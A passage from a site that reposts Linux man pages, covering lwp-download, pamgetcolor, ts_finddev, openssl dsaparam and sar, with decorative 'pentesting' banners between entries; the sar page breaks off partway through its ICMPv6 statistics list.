              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1130 - Linux cli command lwp-downloadp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lwp-downloadp and provides detailed information about the command lwp-downloadp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lwp-downloadp.

NAME 🖥️ lwp-downloadp 🖥️

download - Fetch large files from the web

SYNOPSIS

lwp-download [-a] [-s] <url> [<local path>] Options: -a save the file in ASCII mode -s use HTTP headers to guess output filename

DESCRIPTION

The lwp-download program will save the file at url to a local file.

If local path is not specified, then the current directory is assumed.

If local path is a directory, then the last segment of the path of the url is appended to form a local filename. If the url path ends with slash the name “index” is used. With the -s option pick up the last segment of the filename from server provided sources like the Content-Disposition header or any redirect URLs. A file extension to match the server reported Content-Type might also be appended. If a file with the produced filename already exists, then lwp-download will prompt before it overwrites and will fail if its standard input is not a terminal. This form of invocation will also fail is no acceptable filename can be derived from the sources mentioned above.

If local path is not a directory, then it is simply used as the path to save into. If the file already exists it’s overwritten.

The lwp-download program is implemented using the libwww-perl library. It is better suited to down load big files than the lwp-request program because it does not store the file in memory. Another benefit is that it will keep you updated about its progress and that you don’t have much options to worry about.

Use the -a option to save the file in text (ASCII) mode. Might make a difference on DOSish systems.

EXAMPLE

Fetch the newest and greatest perl version:

$ lwp-download http://www.perl.com/CPAN/src/latest.tar.gz Saving to latest.tar.gz… 11.4 MB received in 8 seconds (1.43 MB/sec)

AUTHOR

Gisle Aas <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1131 - Linux cli command pamgetcolor

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamgetcolor and provides detailed information about the command pamgetcolor, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamgetcolor.

.

NAME 🖥️ pamgetcolor 🖥️

display the average colors from specified regions in an image.

SYNOPSIS

pamgetcolor [-format format] [-radius radius] [-linear] [-infile pamfile] region1 [region2 …]

DESCRIPTION

This program is part of Netpbm(1) .

pamgetcolor prints the average colors of a set of circular regions in the input image.

You specify a region as a positional argument of the form column,row[:label], where column and row are the coordinates of the center of the circle (first row of pixels is row 0; leftmost column of pixels is column 0), and label an optional label that pamgetcolor shall display to identify that region in its output. All regions have he same radius, specified by the -radius option. The region centers must lie within the image, but part of a region may fall outside the image; pamgetcolor considers only the part that is within the image in calculations.

EXAMPLES

To read the color of the pixel at location (10,14) in the default format:

    pamgetcolor 10,14 -infile test.ppm

To read the colors of three pixels in the default format, assigning a label to each pixel:

    pamgetcolor 10,10:topleft 100,100:middle 200,200:bottomright -infile test.ppm

To read with 16-bit precision the average color in the circle with a radius of four pixels and the center at (100,100):

    pamgetcolor -format int:65535 -radius 4 100,100 -infile test.ppm

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamgetcolor recognizes the following command line options:

-format
This specifies the format in which to output the colors. The output is always a Netpbm color specification ; this format tells which of the various specifications for the same color the program uses.

This argument is of the form formatId[:param], where formatId specifies the format and param is a positive integer parameter that, depending on formatId, indicates either precision or normalization. The following values are possible for formatId:

int
Samples are decimal integers normalized to the maxval specified by param. Example: rgb-255:255/128/64 This format is the default, with a maxval of 255.

norm
Samples are floating point numbers normalized to unity. E.g. rgbi:1.0/0.5/.25 param specifies precision as the number of digits in the fractional part.

x11
Samples are hexadecimal numbers with param digits, e.g. rgb:01/ff/8000

-radius
sets the radius of the regions. A value of zero causes pamgetcolor to measure a single pixel and is the default.

-infile
This specifies the Netpbm file to analyze.

If you don’t specify this option, pamgetcolor reads the image from Standard Input.

-linear
This tells pamgetcolor to work with the intensity-linear variation of Netpbm images where the samples are proportional to light intensity rather than to brightness, as in true (gamma-adjusted) Netpbm formats.

SEE ALSO

pnmcolormap(1) ,

AUTHOR

This program was first submitted by Anton Shepelev ([email protected]).

HISTORY

This program was new in Netpbm 10.83 (June 2018).

Table Of Contents

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamgetcolor.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1132 - Linux cli command ts_finddev

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ts_finddev and provides detailed information about the command ts_finddev, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ts_finddev.

NAME 🖥️ ts_finddev 🖥️

Discover touch screen devices.

SYNOPSIS

ts_finddev device wait_seconds

DESCRIPTION

ts_finddev tests whether the device given as parameter is a touch screen device. Touch the screen after invoking ts_finddev.

Return value is 0 if the given timeout wait_seconds expired without an input event, -1 if device is no touch screen device and 1 if it is.

SEE ALSO

ts.conf (5), ts_test (1), ts_test_mt (1), ts_calibrate (1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1133 - Linux cli command openssl-dsaparamssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-dsaparamssl and provides detailed information about the command openssl-dsaparamssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-dsaparamssl.

NAME 🖥️ openssl-dsaparamssl 🖥️

dsaparam - DSA parameter manipulation and generation

SYNOPSIS

openssl dsaparam [-help] [-inform DER|PEM] [-outform DER|PEM] [-in filename] [-out filename] [-noout] [-text] [-genkey] [-verbose] [-quiet] [-rand files] [-writerand file] [-engine id] [-provider name] [-provider-path path] [-propquery propq] [numbits] [numqbits]

DESCRIPTION

This command is used to manipulate or generate DSA parameter files.

DSA parameter generation can be a slow process and as a result the same set of DSA parameters is often used to generate several distinct keys.

OPTIONS

-help
Print out a usage message.

-inform DER|PEM
The DSA parameters input format; unspecified by default. See openssl-format-options (1) for details.

-outform DER|PEM
The DSA parameters output format; the default is PEM. See openssl-format-options (1) for details. Parameters are a sequence of ASN.1 INTEGERs: p, q, and g. This is compatible with RFC 2459 DSS-Parms structure.

-in filename
This specifies the input filename to read parameters from or standard input if this option is not specified. If the numbits parameter is included then this option will be ignored.

-out filename
This specifies the output filename parameters to. Standard output is used if this option is not present. The output filename should not be the same as the input filename.

-noout
This option inhibits the output of the encoded version of the parameters.

-text
This option prints out the DSA parameters in human readable form.

-genkey
This option will generate a DSA either using the specified or generated parameters.

-verbose
Print extra details about the operations being performed.

-quiet
Print fewer details about the operations being performed, which may be handy during batch scripts and pipelines.

-rand files, -writerand file
See “Random State Options” in openssl (1) for details.

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

numbits
This optional argument specifies that a parameter set should be generated of size numbits. If this argument is included then the input file (if any) is ignored.

numqbits
This optional argument specifies that a parameter set should be generated with a subprime parameter q of size numqbits. It must be the last argument. If this argument is included then the input file (if any) is ignored.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

SEE ALSO

openssl (1), openssl-pkeyparam (1), openssl-gendsa (1), openssl-dsa (1), openssl-genrsa (1), openssl-rsa (1)

HISTORY

The -engine option was deprecated in OpenSSL 3.0.

The -C option was removed in OpenSSL 3.0.

COPYRIGHT

Copyright 2000-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1134 - Linux cli command sar

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sar and provides detailed information about the command sar, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sar.

NAME 🖥️ sar 🖥️

Collect, report, or save system activity information.

SYNOPSIS

sar [ -A ] [ -B ] [ -b ] [ -C ] [ -D ] [ -d ] [ -F [ MOUNT ] ] [ -H ] [ -h ] [ -p ] [ -r [ ALL ] ] [ -S ] [ -t ] [ -u [ ALL ] ] [ -V ] [ -v ] [ -W ] [ -w ] [ -x ] [ -y ] [ -z ] [ –dec={ 0 | 1 | 2 } ] **[ –dev=***dev_list ***] [ –fs=***fs_list ***] [ –help ] [ –human ] [ –iface=**iface_list **] [ –int=***int_list *] [ –pretty ] [ –sadc ] [ -I [ SUM | ALL ] ] [ -P { cpu_list | ALL } ] [ -m { keyword[,…] | ALL } ] [ -n { keyword[,…] | ALL } ] [ -q [ keyword[,…] | ALL ] ] [ -j { SID | ID | LABEL | PATH | UUID | … } ] **[ -f [ ***filename ***] | -o [ ***filename *] | -[0-9]+ ] **[ -i ***interval ***] [ -s [ ***start_time * **] ] [ -e [ ***end_time ***] ] ] [ ***interval ***[ ***count *] ]

DESCRIPTION

The sar command writes to standard output the contents of selected cumulative activity counters in the operating system. The accounting system, based on the values in the *count *and interval parameters, writes information the specified number of times spaced at the specified intervals in seconds. If the *interval *parameter is set to zero, the sar command displays the average statistics for the time since the system was started. If the *interval *parameter is specified without the count parameter, then reports are generated continuously. The collected data can also be saved in the file specified by the **-o **filename flag, in addition to being displayed onto the screen. If *filename *is omitted, sar uses the standard system activity daily data file (see below). By default all the data available from the kernel are saved in the data file.

The sar command extracts and writes to standard output records previously saved in a file. This file can be either the one specified by the -f flag or, by default, the standard system activity daily data file. It is also possible to enter -1, **-2 **etc. as an argument to sar to display data of that days ago. For example, **-1 **will point at the standard system activity file of yesterday.

Standard system activity daily data files are named *saDD *or saYYYYMMDD, where *YYYY *stands for the current year, *MM *for the current month and DD for the current day. They are the default files used by sar only when no filename has been explicitly specified. When used to write data to files (with its option -o), sar will use saYYYYMMDD if option -D has also been specified, else it will use saDD. When used to display the records previously saved in a file, sar will look for the most recent of *saDD *and saYYYYMMDD, and use it.

Standard system activity daily data files are located in the /var/log/sysstat directory by default. Yet it is possible to specify an alternate location for them: If a directory (instead of a plain file) is used with options **-f **or -o then it will be considered as the directory containing the data files.

Without the **-P **flag, the sar command reports system-wide (global among all processors) statistics, which are calculated as averages for values expressed as percentages, and as sums otherwise. If the **-P **flag is given, the sar command reports activity which relates to the specified processor or processors. If **-P ALL **is given, the sar command reports statistics for each individual processor and global statistics among all processors. Offline processors are not displayed.

You can select information about specific system activities using flags. Not specifying any flags selects only CPU activity. Specifying the -A flag selects all possible activities.

The default version of the sar command (CPU utilization report) might be one of the first facilities the user runs to begin system activity investigation, because it monitors major system resources. If CPU utilization is near 100 percent (user + nice + system), the workload sampled is CPU-bound.

If multiple samples and multiple reports are desired, it is convenient to specify an output file for the **sar **command. Run the sar command as a background process. The syntax for this is:

**sar -o ***datafile interval count *>/dev/null 2>&1 &

All data are captured in binary form and saved to a file (datafile). The data can then be selectively displayed with the **sar **command using the **-f **option. Set the *interval *and *count *parameters to select *count *records at interval second intervals. If the count parameter is not set, all the records saved in the file will be selected. Collection of data in this manner is useful to characterize system usage over a period of time and determine peak usage hours.

Note: The sar command only reports on local activities.

OPTIONS

-A
This is equivalent to specifying -bBdFHISvwWy -m ALL -n ALL -q ALL -r ALL -u ALL. This option also implies specifying -I ALL -P ALL unless these options are explicitly set on the command line.

-B
Report paging statistics. The following values are displayed:

pgpgin/s
Total number of kilobytes the system paged in from disk per second.

pgpgout/s
Total number of kilobytes the system paged out to disk per second.

fault/s
Number of page faults (major + minor) made by the system per second. This is not a count of page faults that generate I/O, because some page faults can be resolved without I/O.

majflt/s
Number of major faults the system has made per second, those which have required loading a memory page from disk.

pgfree/s
Number of pages placed on the free list by the system per second.

pgscank/s
Number of pages scanned by the kswapd daemon per second.

pgscand/s
Number of pages scanned directly per second.

pgsteal/s
Number of pages the system has reclaimed from cache (pagecache and swapcache) per second to satisfy its memory demands.

pgprom/s
Number of pages promoted (i.e. migrated from slow to fast memory types) by the system per second.

pgdem/s
Number of pages demoted (i.e. migrated from fast to slow memory types) by the system per second.

-b
Report I/O and transfer rate statistics. The following values are displayed:

tps
Total number of transfers per second that were issued to physical devices. A transfer is an I/O request to a physical device. Multiple logical requests can be combined into a single I/O request to the device. A transfer is of indeterminate size.

rtps
Total number of read requests per second issued to physical devices.

wtps
Total number of write requests per second issued to physical devices.

dtps
Total number of discard requests per second issued to physical devices.

bread/s
Total amount of data read from the devices in blocks per second. Blocks are equivalent to sectors and therefore have a size of 512 bytes.

bwrtn/s
Total amount of data written to devices in blocks per second.

bdscd/s
Total amount of data discarded for devices in blocks per second.

-C
When reading data from a file, tell **sar **to display comments that have been inserted by sadc.

-D
Use *saYYYYMMDD *instead of saDD as the standard system activity daily data file name. This option works only when used in conjunction with option **-o **to save data to file.

-d
Report activity for each block device. When data are displayed, the device name is displayed as it (should) appear in /dev. **sar **uses data in */sys *to determine the device name based on its major and minor numbers. If this name resolution fails, **sar **will use name mapping controlled by */etc/sysstat/sysstat.ioconf *file. Persistent device names can also be printed if option -j is used (see below). Statistics for all devices are displayed unless a restricted list is specified using option –dev= (see corresponding option entry). Note that disk activity depends on sadc’s options **-S DISK **and -S XDISK to be collected. The following values are displayed:

tps
Total number of transfers per second that were issued to physical devices. A transfer is an I/O request to a physical device. Multiple logical requests can be combined into a single I/O request to the device. A transfer is of indeterminate size.

rkB/s
Number of kilobytes read from the device per second.

wkB/s
Number of kilobytes written to the device per second.

dkB/s
Number of kilobytes discarded for the device per second.

areq-sz
The average size (in kilobytes) of the I/O requests that were issued to the device.
Note: In previous versions, this field was known as avgrq-sz and was expressed in sectors.

aqu-sz
The average queue length of the requests that were issued to the device.
Note: In previous versions, this field was known as avgqu-sz.

await
The average time (in milliseconds) for I/O requests issued to the device to be served. This includes the time spent by the requests in queue and the time spent servicing them.

%util
Percentage of elapsed time during which I/O requests were issued to the device (bandwidth utilization for the device). Device saturation occurs when this value is close to 100% for devices serving requests serially. But for devices serving requests in parallel, such as RAID arrays and modern SSDs, this number does not reflect their performance limits.

–dec={ 0 | 1 | 2 }
Specify the number of decimal places to use (0 to 2, default value is 2).

**–dev=**dev_list
Specify the block devices for which statistics are to be displayed by sar. *dev_list *is a list of comma-separated device names.

-e [ hh:mm[:ss] ]
**-e [ ***seconds_since_the_epoch *]

Set the ending time of the report. The default ending time is 18:00:00. Hours must be given in 24-hour format, or as the number of seconds since the epoch (given as a 10 digit number). This option can be used when data are read from or written to a file (options **-f **or -o).

-F [ MOUNT ]
Display statistics for currently mounted filesystems. Pseudo-filesystems are ignored. At the end of the report, sar will display a summary of all those filesystems. Use of the MOUNT parameter keyword indicates that mountpoint will be reported instead of filesystem device. Statistics for all filesystems are displayed unless a restricted list is specified using option –fs= (see corresponding option entry). Note that filesystems statistics depend on sadc’s option **-S XDISK ** to be collected.

The following values are displayed:

MBfsfree
Total amount of free space in megabytes (including space available only to privileged user).

MBfsused
Total amount of space used in megabytes.

%fsused
Percentage of filesystem space used, as seen by a privileged user.

%ufsused
Percentage of filesystem space used, as seen by an unprivileged user.

Ifree
Total number of free file nodes in filesystem.

Iused
Total number of file nodes used in filesystem.

%Iused
Percentage of file nodes used in filesystem.

**-f [ ***filename *]
Extract records from *filename *(created by the **-o **filename flag). The default value of the filename parameter is the current standard system activity daily data file. If filename is a directory instead of a plain file then it is considered as the directory where the standard system activity daily data files are located. Option **-f **is exclusive of option -o.

**–fs=**fs_list
Specify the filesystems for which statistics are to be displayed by sar. fs_list is a list of comma-separated filesystem names or mountpoints.

-H
Report hugepages utilization statistics. The following values are displayed:

kbhugfree
Amount of hugepages memory in kilobytes that is not yet allocated.

kbhugused
Amount of hugepages memory in kilobytes that has been allocated.

%hugused
Percentage of total hugepages memory that has been allocated.

kbhugrsvd
Amount of reserved hugepages memory in kilobytes.

kbhugsurp
Amount of surplus hugepages memory in kilobytes.

-h
This option is equivalent to specifying –pretty –human.

–help
Display a short help message then exit.

–human
Print sizes in human readable format (e.g. 1.0k, 1.2M, etc.) The units displayed with this option supersede any other default units (e.g. kilobytes, sectors…) associated with the metrics.

-I [ SUM | ALL ]
Report statistics for interrupts. The values displayed are the number of interrupts per second for the given processor or among all processors. A list of interrupts can be specified using –int= (see this option). The SUM keyword indicates that the total number of interrupts received per second is to be displayed. The ALL keyword indicates that statistics from all interrupts are to be reported (this is the default). Note that interrupts statistics depend on sadc’s option -S INT to be collected.

**-i **interval
Select data records at seconds as close as possible to the number specified by the *interval *parameter.

**–iface=**iface_list
Specify the network interfaces for which statistics are to be displayed by sar. iface_list is a list of comma-separated interface names.

**–int=**int_list
Specify the interrupts names for which statistics are to be displayed by sar. int_list is a list of comma-separated values or range of values (e.g., 0-16,35,40-").

-j { SID | ID | LABEL | PATH | UUID | … }
Display persistent device names. Use this option in conjunction with option -d. Keywords ID, LABEL, etc. specify the type of the persistent name. These keywords are not limited, only prerequisite is that directory with required persistent names is present in /dev/disk. Keyword SID tries to get a stable identifier to use as the device name. A stable identifier won’t change across reboots for the same physical device. If it exists, this identifier is normally the WWN (World Wide Name) of the device, as read from the */dev/disk/by-id *directory.

-m { keyword[,…] | ALL }
Report power management statistics. Note that these statistics depend on sadc’s option **-S POWER **to be collected.

Possible keywords are BAT, CPU, FAN, FREQ, IN, **TEMP **and USB.

With the BAT keyword, statistics about batteries capacity are reported. The following values are displayed:

%cap
Battery capacity.

cap/min
Capacity lost or gained per minute by the battery.

status
Charging status of the battery: ↑ (full), ↗ (charging), → (not charging), ↘ (discharging), ? (unknown).

With the CPU keyword, statistics about CPU are reported. The following value is displayed:

MHz
Instantaneous CPU clock frequency in MHz.

With the FAN keyword, statistics about fans speed are reported. The following values are displayed:

rpm
Fan speed expressed in revolutions per minute.

drpm
This field is calculated as the difference between current fan speed (rpm) and its low limit (fan_min).

DEVICE
Sensor device name.

With the FREQ keyword, statistics about CPU clock frequency are reported. The following value is displayed:

wghMHz
Weighted average CPU clock frequency in MHz. Note that the cpufreq-stats driver must be compiled in the kernel for this option to work.

With the IN keyword, statistics about voltage inputs are reported. The following values are displayed:

inV
Voltage input expressed in Volts.

%in
Relative input value. A value of 100% means that voltage input has reached its high limit (in_max) whereas a value of 0% means that it has reached its low limit (in_min).

DEVICE
Sensor device name.

With the TEMP keyword, statistics about devices temperature are reported. The following values are displayed:

degC
Device temperature expressed in degrees Celsius.

%temp
Relative device temperature. A value of 100% means that temperature has reached its high limit (temp_max).

DEVICE
Sensor device name.

With the **USB **keyword, the sar command takes a snapshot of all the USB devices currently plugged into the system. At the end of the report, sar will display a summary of all those USB devices. The following values are displayed:

BUS
Root hub number of the USB device.

idvendor
Vendor ID number (assigned by USB organization).

idprod
Product ID number (assigned by Manufacturer).

maxpower
Maximum power consumption of the device (expressed in mA).

manufact
Manufacturer name.

product
Product name.

The ALL keyword is equivalent to specifying all the keywords above and therefore all the power management statistics are reported.

-n { keyword[,…] | ALL }
Report network statistics.

Possible keywords are DEV, EDEV, FC, ICMP, EICMP, ICMP6, EICMP6, IP, EIP, IP6, EIP6, NFS, NFSD, SOCK, SOCK6, SOFT, TCP, ETCP, **UDP **and UDP6.

With the DEV keyword, statistics from the network devices are reported. Statistics for all network interfaces are displayed unless a restricted list is specified using option –iface= (see corresponding option entry). The following values are displayed:

IFACE
Name of the network interface for which statistics are reported.

rxpck/s
Total number of packets received per second.

txpck/s
Total number of packets transmitted per second.

rxkB/s
Total number of kilobytes received per second.

txkB/s
Total number of kilobytes transmitted per second.

rxcmp/s
Number of compressed packets received per second (for cslip etc.).

txcmp/s
Number of compressed packets transmitted per second.

rxmcst/s
Number of multicast packets received per second.

%ifutil
Utilization percentage of the network interface. For half-duplex interfaces, utilization is calculated using the sum of rxkB/s and txkB/s as a percentage of the interface speed. For full-duplex, this is the greater of rxkB/S or txkB/s.

With the EDEV keyword, statistics on failures (errors) from the network devices are reported. Statistics for all network interfaces are displayed unless a restricted list is specified using option –iface= (see corresponding option entry). The following values are displayed:

IFACE
Name of the network interface for which statistics are reported.

rxerr/s
Total number of bad packets received per second.

txerr/s
Total number of errors that happened per second while transmitting packets.

coll/s
Number of collisions that happened per second while transmitting packets.

rxdrop/s
Number of received packets dropped per second because of a lack of space in linux buffers.

txdrop/s
Number of transmitted packets dropped per second because of a lack of space in linux buffers.

txcarr/s
Number of carrier-errors that happened per second while transmitting packets.

rxfram/s
Number of frame alignment errors that happened per second on received packets.

rxfifo/s
Number of FIFO overrun errors that happened per second on received packets.

txfifo/s
Number of FIFO overrun errors that happened per second on transmitted packets.

With the FC keyword, statistics about fibre channel traffic are reported. Note that fibre channel statistics depend on sadc’s option -S DISK to be collected. The following values are displayed:

FCHOST
Name of the fibre channel host bus adapter (HBA) interface for which statistics are reported.

fch_rxf/s
The total number of frames received per second.

fch_txf/s
The total number of frames transmitted per second.

fch_rxw/s
The total number of transmission words received per second.

fch_txw/s
The total number of transmission words transmitted per second.

With the ICMP keyword, statistics about ICMPv4 network traffic are reported. Note that ICMPv4 statistics depend on sadc’s option -S SNMP to be collected. The following values are displayed (formal SNMP names between square brackets):

imsg/s
The total number of ICMP messages which the entity received per second [icmpInMsgs]. Note that this counter includes all those counted by ierr/s.

omsg/s
The total number of ICMP messages which this entity attempted to send per second [icmpOutMsgs]. Note that this counter includes all those counted by oerr/s.

iech/s
The number of ICMP Echo (request) messages received per second [icmpInEchos].

iechr/s
The number of ICMP Echo Reply messages received per second [icmpInEchoReps].

oech/s
The number of ICMP Echo (request) messages sent per second [icmpOutEchos].

oechr/s
The number of ICMP Echo Reply messages sent per second [icmpOutEchoReps].

itm/s
The number of ICMP Timestamp (request) messages received per second [icmpInTimestamps].

itmr/s
The number of ICMP Timestamp Reply messages received per second [icmpInTimestampReps].

otm/s
The number of ICMP Timestamp (request) messages sent per second [icmpOutTimestamps].

otmr/s
The number of ICMP Timestamp Reply messages sent per second [icmpOutTimestampReps].

iadrmk/s
The number of ICMP Address Mask Request messages received per second [icmpInAddrMasks].

iadrmkr/s
The number of ICMP Address Mask Reply messages received per second [icmpInAddrMaskReps].

oadrmk/s
The number of ICMP Address Mask Request messages sent per second [icmpOutAddrMasks].

oadrmkr/s
The number of ICMP Address Mask Reply messages sent per second [icmpOutAddrMaskReps].

With the EICMP keyword, statistics about ICMPv4 error messages are reported. Note that ICMPv4 statistics depend on sadc’s option -S SNMP to be collected. The following values are displayed (formal SNMP names between square brackets):

ierr/s
The number of ICMP messages per second which the entity received but determined as having ICMP-specific errors (bad ICMP checksums, bad length, etc.) [icmpInErrors].

oerr/s
The number of ICMP messages per second which this entity did not send due to problems discovered within ICMP such as a lack of buffers [icmpOutErrors].

idstunr/s
The number of ICMP Destination Unreachable messages received per second [icmpInDestUnreachs].

odstunr/s
The number of ICMP Destination Unreachable messages sent per second [icmpOutDestUnreachs].

itmex/s
The number of ICMP Time Exceeded messages received per second [icmpInTimeExcds].

otmex/s
The number of ICMP Time Exceeded messages sent per second [icmpOutTimeExcds].

iparmpb/s
The number of ICMP Parameter Problem messages received per second [icmpInParmProbs].

oparmpb/s
The number of ICMP Parameter Problem messages sent per second [icmpOutParmProbs].

isrcq/s
The number of ICMP Source Quench messages received per second [icmpInSrcQuenchs].

osrcq/s
The number of ICMP Source Quench messages sent per second [icmpOutSrcQuenchs].

iredir/s
The number of ICMP Redirect messages received per second [icmpInRedirects].

oredir/s
The number of ICMP Redirect messages sent per second [icmpOutRedirects].

With the ICMP6 keyword, statistics about ICMPv6 network traffic are reported. Note that ICMPv6 statistics depend on sadc’s option -S IPV6 to be collected. The following values are displayed (formal SNMP names between square brackets):

imsg6/s
The total number of ICMP messages received by the interface per second which includes all those counted by ierr6/s [ipv6IfIcmpInMsgs].

omsg6/s
The total number of ICMP messages which this interface attempted to send per second [ipv6IfIcmpOutMsgs].

iech6/s
The number of ICMP Echo (request) messages received by the interface per second [ipv6IfIcmpInEchos].

iechr6/s
The number of ICMP Echo Reply messages received by the interface per second [ipv6IfIcmpInEchoReplies].

oechr6/s
The number of ICMP Echo Reply messages sent by the interface per second [ipv6IfIcmpOutEchoReplies].

igmbq6/s
The number of ICMPv6 Group Membership Query messages received by the interface per second [ipv6IfIcmpInGroupMembQueries].

igmbr6/s
The number of ICMPv6 Group Membership Response messages received by the interface per second [ipv6IfIcmpInGroupMembResponses].

ogmbr6/s
The number of ICMPv6 Group Membership Response messages sent per second [ipv6IfIcmpOutGroupMembResponses].

igmbrd6/s
The number of ICMPv6 Group Membership Reduction messages received by the interface per second [ipv6IfIcmpInGroupMembReductions].

ogmbrd6/s
The number of ICMPv6 Group Membership Reduction messages sent per second [ipv6IfIcmpOutGroupMembReductions].

irtsol6/s
The number of ICMP Router Solicit messages received by the interface per second [ipv6IfIcmpInRouterSolicits].

ortsol6/s
The number of ICMP Router Solicitation messages sent by the interface per second [ipv6IfIcmpOutRouterSolicits].

irtad6/s
The number of ICMP Router Advertisement messages received by the interface per second [ipv6IfIcmpInRouterAdvertisements].

inbsol6/s
The number of ICMP Neighbor Solicit messages received by the interface per second [ipv6IfIcmpInNeighborSolicits].

onbsol6/s
The number of ICMP Neighbor Solicitation messages sent by the interface per second [ipv6IfIcmpOutNeighborSolicits].

inbad6/s
The number of ICMP Neighbor Advertisement messages received by the interface per second [ipv6IfIcmpInNeighborAdvertisements].

onbad6/s
The number of ICMP Neighbor Advertisement messages sent by the interface per second [ipv6IfIcmpOutNeighborAdvertisements].

With the EICMP6 keyword, statistics about ICMPv6 error messages are reported. Note that ICMPv6 statistics depend on sadc’s option -S IPV6 to be collected. The following values are displayed (formal SNMP names between square brackets):

ierr6/s
